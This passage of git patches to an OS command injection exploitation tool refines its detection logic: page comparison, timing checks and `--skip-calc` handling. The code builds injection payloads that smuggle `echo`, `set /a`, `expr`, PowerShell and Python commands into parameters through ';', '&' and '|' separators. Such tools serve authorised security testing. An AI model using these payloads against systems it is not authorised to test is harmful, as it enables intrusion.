settings.BASIC_STRING = prefix + calc_string + suffix + windows_proof = "set /a " + settings.BASIC_STRING + alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2 + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2, - "|echo " + marker1 + "&set /a " + settings.BASIC_STRING + "&echo " + marker2 + - "&echo " + marker1 + "&set /a " + settings.BASIC_STRING + "&echo " + marker2 + "|echo " + marker1 + "&" + windows_proof + "&echo " + marker2 + + "&echo " + marker1 + "&" + windows_proof + "&echo " + marker2 ] settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + @@ -77,7 +89,7 @@ def basic_payload_generator(): "|echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 + "&echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 ] - settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(str(rand_a + rand_b)) + r"\s*" + re.escape(marker2) + settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(expected) + r"\s*" + re.escape(marker2) """ Initializing basic level check status diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 674550d10d..962d957253 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -913,15 +913,23 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 + # A single character either way: the answer is read back one character at a time, + # so anything longer costs a request per extra character. + if settings.SKIP_CALC: + randvcalc = random.randrange(0, 10) if settings.TARGET_OS == settings.OS.WINDOWS: if interpreter: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + if settings.SKIP_CALC: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randvcalc) + ")\"" + else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" + cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")" else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if settings.SKIP_CALC: + cmd = "echo " + str(randvcalc) + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: cmd = "expr " + str(randv1) + " + " + str(randv2) + "" else: cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" diff --git a/src/core/options.py b/src/core/options.py index aac7c7434f..cfccb488be 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -39,7 +39,7 @@ def validate(): menu.options.update, menu.options.list_tampers)): if not menu.options.purge: err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " - err_msg += "Use -h for help." + err_msg += "Use -h for basic and -hh for advanced help." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) diff --git a/src/core/techniques/classic/cb_payloads.py b/src/core/techniques/classic/cb_payloads.py index 2bbacf9a1d..de20ae720a 100755 --- a/src/core/techniques/classic/cb_payloads.py +++ b/src/core/techniques/classic/cb_payloads.py @@ -41,17 +41,17 @@ def decision(separator, TAG, randv1, randv2): "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + "%i" + TAG + TAG ) else: - if settings.USE_BACKTICKS or settings.WAF_ENABLED: - math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " + " + str(randv2) + settings.CMD_SUB_SUFFIX - else: - math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "+" + str(randv2) + "))" - if settings.SKIP_CALC: payload = (separator + "echo " + TAG + - settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) else: + if settings.USE_BACKTICKS or settings.WAF_ENABLED: + math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " + " + str(randv2) + settings.CMD_SUB_SUFFIX + else: + # Arithmetic expansion is the substitution pair with one more set of parentheses inside it. + math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "+" + str(randv2) + ")" + settings.CMD_SUB_SUFFIX payload = (separator + "echo " + TAG + math_calc + diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index 998141c97f..5eef923b6b 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -288,24 +288,36 @@ def proof(transport, plus=PLUS): second = random.randrange(1000, 9999) # Bracketed by a marker, so the result cannot be mistaken for a number occurring anywhere else. tag = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + # Under '--skip-calc' the sum is replaced, but not by a literal - a replayed URL would carry that + # through unchanged and prove nothing. What stands in for it still has to be evaluated to resolve. + token = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + expected = token if settings.SKIP_CALC else str(first + second) if transport == "powershell": # Concatenated outside the URL's quotes: PowerShell expands nothing inside a single-quoted # string, so a sum left in there would be sent as written. - total = "'" + plus + "(" + str(first) + plus + str(second) + ")" + plus + "'" + if settings.SKIP_CALC: + total = "'" + plus + "('" + token + "')" + plus + "'" + else: + total = "'" + plus + "(" + str(first) + plus + str(second) + ")" + plus + "'" elif settings.TARGET_OS == settings.OS.WINDOWS: # 'set /a' is the only arithmetic cmd.exe has and it only writes its answer out, so the sum is # worked out first and read into the variable the command is then built around. - prologue = ("for /f \"tokens=* eol=\" %i in ('cmd /c \"set /a " + str(first) + plus + str(second) + + inner = "echo " + token if settings.SKIP_CALC else "set /a " + str(first) + plus + str(second) + prologue = ("for /f \"tokens=* eol=\" %i in ('cmd /c \"" + inner + "\"') do ") - return tag + "%i" + tag, tag + str(first + second) + tag, prologue + return tag + "%i" + tag, tag + expected + tag, prologue + elif settings.SKIP_CALC: + # Command substitution either way, so '--tamper=backticks' reaches here too. + total = settings.CMD_SUB_PREFIX + "echo" + settings.SINGLE_WHITESPACE + token + settings.CMD_SUB_SUFFIX elif settings.USE_BACKTICKS or settings.WAF_ENABLED: # Same fallback the classic technique uses, so '--tamper=backticks' reaches here too. total = (settings.CMD_SUB_PREFIX + "expr" + settings.SINGLE_WHITESPACE + str(first) + settings.SINGLE_WHITESPACE + plus + settings.SINGLE_WHITESPACE + str(second) + settings.CMD_SUB_SUFFIX) else: - total = settings.CMD_SUB_PREFIX + "(" + str(first) + plus + str(second) + "))" - return tag + total + tag, tag + str(first + second) + tag, "" + # Arithmetic expansion is the substitution pair with one more set of parentheses inside it. + total = settings.CMD_SUB_PREFIX + "(" + str(first) + plus + str(second) + ")" + settings.CMD_SUB_SUFFIX + return tag + total + tag, tag + expected + tag, "" """ Report whether a transport can carry command output back. diff --git a/src/utils/settings.py b/src/utils/settings.py index 052f6846c2..9fa6659a76 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "153" +REVISION = "154" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eed4072916b13740149a4febbac87d890c1e361f Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 22 Sep 2026 06:03:55 +0300 Subject: [PATCH 0816/1023] Added `--text-only` for text-based page comparison, streamlined detection with fewer consistently paced requests and a single baseline measurement, and fixed cross-parameter result leakage, result ordering, and handling of values containing `=`, `?`, or `#`. --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 122 +++++++++++++++- src/core/controller/controller.py | 82 +++++++++-- src/core/controller/handler.py | 223 ++++++++++++++++++------------ src/core/controller/injector.py | 22 +-- src/core/main.py | 30 +++- src/core/parse/cmdline.py | 6 + src/core/requests/cookies.py | 6 +- src/core/requests/headers.py | 25 +++- src/core/requests/parameters.py | 10 +- src/core/requests/requests.py | 35 ++++- src/utils/session_handler.py | 48 +++++++ src/utils/settings.py | 42 +++++- 13 files changed, 518 insertions(+), 134 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 067d433011..d634fe62a6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switch `--text-only` for comparing pages based only on their textual content. * Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests. * Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take. * Added: New switch `--no-truncate` for showing the retrieved output in full. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 3a10ca70f2..763f1ff0bc 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -16,6 +16,7 @@ import io import re import codecs +import difflib import os import sys import json @@ -854,9 +855,13 @@ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): if not explicitly_testable(parameter): offer_anticsrf_token(parameter) - if (len(parameter.split("="))) == 2: - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + # Split where the name ends rather than at every '=' it holds: a value carrying one of its + # own - a token written in base64, most of them - is still that parameter's value, and a + # parameter skipped without a word said is one nobody knows went untested. + name, separator, value = parameter.partition("=") + if separator: + info_msg = "Ignoring the parameter '" + name + info_msg += "' that appears to hold anti-CSRF token '" + value + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True @@ -1115,6 +1120,105 @@ def decode_page_body(body, response=None, percent_decode=True): continue return "" +""" +The page with everything that is not its text taken out: scripts, styles, comments and the tags +themselves. + +What a target prints from a command it ran is text, and a page is mostly not. A few characters of +output against kilobytes of layout is a difference too small to read as one - which is how a +parameter that plainly reaches a shell comes back as one that changes nothing. +""" +def filtered_page_content(page, only_text=True): + if not isinstance(page, str): + return page + page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>" + (r"|<[^>]+>|\t|\n|\r" if only_text else ""), settings.SINGLE_WHITESPACE, page) + page = re.sub(settings.SINGLE_WHITESPACE + r"{2,}", settings.SINGLE_WHITESPACE, page) + return page.strip() + +# The alphanumeric run at either end of a marking, which would otherwise start or stop mid-word. +def _trim_alphanum(value): + while value and value[-1].isalnum(): + value = value[:-1] + while value and value[0].isalnum(): + value = value[1:] + return value + +""" +Note where a page differs from itself between two identical requests, by what sits either side of +the part that moved - a timestamp, a counter, a token - so the same region can be taken out of +every sample compared later on. +""" +def find_dynamic_content(first_page, second_page): + settings.DYNAMIC_MARKINGS = [] + if not first_page or not second_page: + return + try: + blocks = list(difflib.SequenceMatcher(None, first_page, second_page).get_matching_blocks()) + except (MemoryError, TypeError, ValueError): + return + # What is too short to anchor on is not a region, it is a coincidence. + blocks = [block for block in blocks if block[2] > 2 * settings.DYNAMICITY_BOUNDARY_LENGTH] + if not blocks: + return + blocks.insert(0, None) + blocks.append(None) + for index in range(len(blocks) - 1): + before, after = blocks[index], blocks[index + 1] + prefix = first_page[before[0]:before[0] + before[2]] if before else None + suffix = first_page[after[0]:after[0] + after[2]] if after else None + if prefix is None and after[0] == 0: + continue + if suffix is None and (before[0] + before[2] >= len(first_page)): + continue + if prefix and suffix: + prefix = prefix[-settings.DYNAMICITY_BOUNDARY_LENGTH:] + suffix = suffix[:settings.DYNAMICITY_BOUNDARY_LENGTH] + for page in (first_page, second_page): + match = re.search(r"(?s)" + re.escape(prefix) + r"(.+?)" + re.escape(suffix), page) + if match: + infix = match.group(1) + if infix[:1].isalnum(): + prefix = _trim_alphanum(prefix) + if infix[-1:].isalnum(): + suffix = _trim_alphanum(suffix) + break + marking = (prefix or None, suffix or None) + if marking not in settings.DYNAMIC_MARKINGS: + settings.DYNAMIC_MARKINGS.append(marking) + +""" +Take the regions that move on their own out of a page, so what is left is the part a parameter +could be responsible for. +""" +def remove_dynamic_content(page): + if not page: + return page + for prefix, suffix in settings.DYNAMIC_MARKINGS: + if prefix is None and suffix is None: + continue + elif prefix is None: + page = re.sub(r"(?s)^.+?" + re.escape(suffix), suffix.replace("\\", r"\\"), page) + elif suffix is None: + page = re.sub(r"(?s)" + re.escape(prefix) + r".+$", prefix.replace("\\", r"\\"), page) + else: + page = re.sub(r"(?s)" + re.escape(prefix) + r".+?" + re.escape(suffix), prefix.replace("\\", r"\\") + suffix.replace("\\", r"\\"), page) + return page + +""" +The page as it is worth comparing: without the regions that move by themselves, and - where +'--text-only' was given - without the layout they sit in either. +""" +def comparable_page(page): + if menu.options.text_only: + page = filtered_page_content(page) + return remove_dynamic_content(page) + +# How much of the page is the text a command's output would show up in. +def page_text_percent(page): + if not page: + return 100.0 + return 100.0 * len(filtered_page_content(page)) / len(page) + def process_page_content(response, action): try: page = response.read() @@ -1942,6 +2046,10 @@ def set_target_os(identified): previous = settings.TARGET_OS settings.TARGET_OS = identified settings.IDENTIFIED_TARGET_OS = True + # Kept for the next run against this target, which then has nothing left to work out here. + if not menu.options.ignore_session and settings.TARGET_NETLOC: + from src.utils import session_handler + session_handler.import_target_os(settings.TARGET_NETLOC, identified) if menu.options.os: user_os = settings.OS.WINDOWS if menu.options.os.lower() == settings.OS.WINDOWS else settings.OS.UNIX if user_os != identified and identified_os(): @@ -3355,8 +3463,12 @@ def is_empty(multi_parameters, http_request_method): if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: empty_parameters.append(re.findall(r'</(.*)>', empty)[0]) - elif len(empty.split("=")[1]) == 0: - empty_parameters.append(empty.split("=")[0]) + else: + # What follows the first '=' is the value, however many more it holds: read to the next + # one instead and a value that starts with one reads as no value at all. + name, separator, value = empty.partition("=") + if separator and len(value) == 0: + empty_parameters.append(name) except IndexError: pass diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 0461dd19b4..b021abf8a1 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -102,6 +102,26 @@ def basic_level_checks(): settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_EVAL_PROBE = False +""" +Take the state one parameter's testing leaves behind back to what it was before. + +What was learned about one parameter is not the next one's: a technique that answered for it, and a +value of its own that turned out not to be needed, would otherwise still be standing when the next +parameter is judged - and the verdict on that parameter read off them. +""" +def reset_parameter_state(): + # The other technique states are put back as each technique starts; this one is reached as a + # fallback from the file-based technique instead, so nothing else clears it. + settings.TEMPFILE_BASED_STATE = False + # Whether a parameter needs the value it was given is asked of that parameter alone. + settings.TESTABLE_VALUE_OPTIMIZED = False + # Narrowed below for one parameter at a time, and put back here so the next one is tested with + # the techniques the run was given rather than with what the last parameter settled on. + if settings.TECHNIQUES_BEFORE_NARROWING is None: + settings.TECHNIQUES_BEFORE_NARROWING = menu.options.tech + else: + menu.options.tech = settings.TECHNIQUES_BEFORE_NARROWING + """ Initializing HTTP Headers parameters injection status """ @@ -657,23 +677,45 @@ def _body(value): if not response or isinstance(response, bool): return None try: - return response.read() + return checks.comparable_page(checks.process_page_content(response, action="decode")) except Exception: return None - real_body = _body(settings.TESTABLE_VALUE) - # The same value asked for twice: whatever differs between these two is the page moving on its - # own, and a parameter is only dynamic where it changes the response by more than that. - repeat_body = _body(settings.TESTABLE_VALUE) + """ + The page as the target answers it with the value it was given, and how much it moves between two + such answers, are the target's own - not this parameter's. Both were taken once, when the target + was first reached, so what is left to ask here is what the page looks like with something else in + the parameter's place: one request, against a baseline every parameter shares. + """ + real_body = settings.ORIGINAL_PAGE_COMPARABLE or None + noise = settings.PAGE_NOISE_RATIO + if real_body is None: + real_body = _body(settings.TESTABLE_VALUE) + # The same value asked for twice: whatever differs between these two is the page moving on its + # own, and a parameter is only dynamic where it changes the response by more than that. + repeat_body = _body(settings.TESTABLE_VALUE) + if real_body is None or repeat_body is None: + return + noise = difflib.SequenceMatcher(None, real_body, repeat_body).ratio() + placeholder_body = _body(placeholder) - if real_body is None or repeat_body is None or placeholder_body is None: + if placeholder_body is None: return - noise = difflib.SequenceMatcher(None, real_body, repeat_body).ratio() changed = difflib.SequenceMatcher(None, real_body, placeholder_body).ratio() if changed >= min(noise, settings.STABILITY_SIMILARITY_THRESHOLD): warn_msg = param_label + " does not appear to be dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ + A page that is mostly layout answers this question badly: what a command prints is a handful of + characters against kilobytes of markup, and the two answers come back all but identical whether + the parameter reaches a shell or not. Said out loud, because the verdict is what '--skip-static' + acts on - and because comparing the text alone is what settles it. + """ + if not menu.options.text_only and checks.page_text_percent(settings.ORIGINAL_PAGE) < settings.LOW_TEXT_PERCENT: + warn_msg = "Target's page contains only " + str(round(checks.page_text_percent(settings.ORIGINAL_PAGE), 1)) + "% text, " + warn_msg += "which might result in unreliable comparison results. Consider using switch '--text-only'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False if settings.VERBOSITY_LEVEL != 0: debug_msg = param_label + " appears to be dynamic." @@ -726,14 +768,20 @@ def build(value): placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) try: + # Both requests are paced before their clocks start: what is compared here is how long the + # target takes over either value, not how long this run was told to wait between requests. + real_request = build(settings.TESTABLE_VALUE) + headers.apply_request_policy() start = time.time() - real_response = _urllib.request.urlopen(build(settings.TESTABLE_VALUE), timeout=settings.TIMEOUT) + real_response = headers.send_raw(real_request, policy=False) real_body = real_response.read() real_status = real_response.getcode() real_time = time.time() - start + placeholder_request = build(placeholder) + headers.apply_request_policy() start = time.time() - placeholder_response = _urllib.request.urlopen(build(placeholder), timeout=settings.TIMEOUT) + placeholder_response = headers.send_raw(placeholder_request, policy=False) placeholder_body = placeholder_response.read() placeholder_status = placeholder_response.getcode() placeholder_time = time.time() - start @@ -781,6 +829,7 @@ def injection_process(url, check_parameter, http_request_method, filename, times return settings.NOT_TESTABLE_PARAMETERS = False + reset_parameter_state() # Bound here rather than where the techniques run: the parameter may be skipped before reaching # them, and the loop over operating systems below reads this either way. end_detection = False @@ -855,8 +904,13 @@ def _ensure_time_warmup(): _time_warmup_done = True if time_techniques_resumed: url_time_response = 0 + elif settings.ESTIMATED_TIMESEC is not None: + # How long the target takes to answer is the target's own, not this parameter's: measured + # once, and read by every parameter after it. + timesec, url_time_response = settings.ESTIMATED_TIMESEC, settings.URL_TIME_RESPONSE else: timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + settings.ESTIMATED_TIMESEC = timesec # Load modules modules_handler.load_modules(url, http_request_method, filename) @@ -943,7 +997,11 @@ def _ensure_time_warmup(): # once the user provides the path of web server's root directory. if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: menu.options.web_root = checks.normalize_target_dir(menu.options.web_root) - if checks.procced_with_file_based_technique(): + # Asked once and held for the run, since the technique list it narrows is put back for + # every parameter - the question is about the document root, which does not change. + if settings.FILE_BASED_NARROWING_CHOICE is None: + settings.FILE_BASED_NARROWING_CHOICE = checks.procced_with_file_based_technique() + if settings.FILE_BASED_NARROWING_CHOICE: menu.options.tech = "f" # Whether a stored finding already answers what this technique would ask. @@ -1358,13 +1416,13 @@ def perform_checks(url, http_request_method, filename): if menu.options.auth_url and menu.options.auth_data: authentication.authentication_process(http_request_method) try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + response = headers.send_raw(url) try: main_content = response.read() finally: response.close() - response = _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT) + response = headers.send_raw(menu.options.auth_url) try: auth_content = response.read() finally: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 962d957253..7474f3f293 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -22,7 +22,6 @@ from src.utils import logs from src.utils import settings from src.utils import common -from src.core.compat import xrange from src.utils import session_handler from src.core.requests import requests from src.core.controller import checks @@ -78,10 +77,37 @@ def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_out tried.add(boundary) yield whitespace, prefix, suffix, separator +""" +Put the boundaries the parameter's own value asks for first. + +A value written as a number is rarely quoted in the command it ends up in, and one written as a +word often is - so which of the two shapes is tried first is worth taking from the value rather +than from the order the lists happen to carry. Worked out once per shape, for every parameter that +has it. +""" +def _order_by_value_shape(prefixes, suffixes): + value = (settings.TESTABLE_VALUE or "").strip() + if value.isdigit(): + quoted_last = True + elif value.isalpha(): + quoted_last = False + else: + return prefixes, suffixes + key = (quoted_last, tuple(prefixes), tuple(suffixes)) + if key not in settings.BOUNDARY_ORDER_CACHE: + # Sorted rather than split, so that what is not being moved keeps the order it was written in. + quoted = lambda candidate: any(quote in candidate for quote in settings.QUOTES) + settings.BOUNDARY_ORDER_CACHE[key] = ( + sorted(prefixes, key=lambda candidate: quoted(candidate) == quoted_last), + sorted(suffixes, key=lambda candidate: quoted(candidate) == quoted_last) + ) + return settings.BOUNDARY_ORDER_CACHE[key] + """ Put a boundary combo another technique already confirmed for this parameter first. """ def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): + prefixes, suffixes = _order_by_value_shape(prefixes, suffixes) _boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER) if _boundary: _b_prefix, _b_suffix, _b_separator, _b_whitespace = _boundary @@ -728,9 +754,11 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim else: # Answered yes, the retrieval still measures whether the answers can be told apart under that # concurrency - which needs a payload, and so cannot be settled here. + # Declined unless asked for: reading a delay is reading one request against the others, and + # requests that overlap are what the reading is least able to survive. msg = "Multi-threading is considered unsafe for time-related data retrieval. " - msg += "Do you want to continue using threads anyway? [Y/n] " - settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES + msg += "Do you want to continue using threads anyway? [y/N] " + settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES counter = 1 num_of_chars = 1 @@ -776,7 +804,6 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available for this specific technique. - exec_time_statistic = [] resumed = False stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None if stored_row: @@ -814,12 +841,11 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # Whether anything in this pass answered late, which is what a further pass could re-judge. answered_late = False - # Per pass: the anomaly below reads the sample by position, so one pass's timings appended - # to the last one's put the peak it looks for at an index that means nothing. - exec_time_statistic = [] # The output file for file-based injection technique. interpreter = menu.options.interpreter tag_length = len(TAG) + 4 + # A length no answer can have, which is what the control below asks about. + control_length = int(tag_length) + 100 OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) @@ -827,9 +853,33 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim # back through two interpreters takes about a second before any delay is asked for, while the # model it is judged against was built from plain requests. Sampled once with a length that # cannot hold, so an answer that was never held back is not read as a delayed one. + """ + Asked only once an answer has been held back: the same question about a length no answer + can have. A target that waits for that one too is a slow target rather than one running + what it was given, and the pair is what tells them apart. + """ + def _control_answers_on_time(): + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + control = payloads.decision_alter_interpreter(separator, TAG, control_length, timesec, http_request_method) + else: + control = payloads.decision_alter_interpreter(separator, control_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + control = payloads.decision(separator, TAG, control_length, timesec, http_request_method) + else: + control = payloads.decision(separator, control_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + if not control: + return False + control_time = requests.perform_injection(prefix, suffix, whitespace, control, "", http_request_method, url)[0] + if checks.time_related_shell(control_time, timesec): + return False + checks.record_probe_response_time(control_time) + return True + if not settings.PAYLOAD_BASELINE_SAMPLED: settings.PAYLOAD_BASELINE_SAMPLED = True - impossible = int(tag_length) + 100 + impossible = control_length if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: probe = payloads.decision_alter_interpreter(separator, TAG, impossible, timesec, http_request_method) @@ -849,7 +899,12 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim except Exception: pass - for output_length in range(1, int(tag_length)): + """ + The length the tag really has is the one question worth asking: a target running what it + was given holds its answer back for that length and for no other. Every other length is a + request spent proving what the control above proves in one, and only once it is needed. + """ + for output_length in (len(TAG),): try: # Tempfile-based decision payload (check if host is vulnerable). if interpreter: @@ -869,95 +924,85 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim vuln_parameter = "" exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - # Statistical analysis in time responses. - exec_time_statistic.append(exec_time) # Every combination's timing is read, the later ones included: the attempt budget # running low says nothing about whether this particular answer was delayed, and the # combination that answers is often among the last to be tried. - if True: - if checks.time_related_shell(exec_time, timesec): - answered_late = True - # Time related false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Only where one candidate length is answered late and the rest on time is the - # sample's shape worth reading: an oracle that answers every candidate the same - # way would otherwise be called unstable on every run. - statistical_anomaly = checks.decision_is_length_based() - if statistical_anomaly: - first_few = exec_time_statistic[0:5] - if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): - if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - exec_time_statistic = [] - - if timesec <= exec_time and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True + if checks.time_related_shell(exec_time, timesec): + answered_late = True + # Time related false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + # Held back for the length the answer really has and let through for one it + # cannot have is the shape worth reading: an oracle that answers both the same + # way is a slow target rather than one running what it was given. + statistical_anomaly = checks.decision_is_length_based() and not _control_answers_on_time() + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True + else: + false_positive_warning = True - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec - if false_positive_warning: - time.sleep(timesec) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - # A single character either way: the answer is read back one character at a time, - # so anything longer costs a request per extra character. - if settings.SKIP_CALC: - randvcalc = random.randrange(0, 10) - - if settings.TARGET_OS == settings.OS.WINDOWS: - if interpreter: - if settings.SKIP_CALC: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randvcalc) + ")\"" - else: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = "powershell.exe -InputFormat none write (" + str(randvcalc) + ")" - else: + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if false_positive_warning: + time.sleep(timesec) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + # A single character either way: the answer is read back one character at a time, + # so anything longer costs a request per extra character. + if settings.SKIP_CALC: + randvcalc = random.randrange(0, 10) + + if settings.TARGET_OS == settings.OS.WINDOWS: + if interpreter: if settings.SKIP_CALC: - cmd = "echo " + str(randvcalc) - elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - cmd = "expr " + str(randv1) + " + " + str(randv2) + "" + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randvcalc) + ")\"" else: - cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" + cmd = 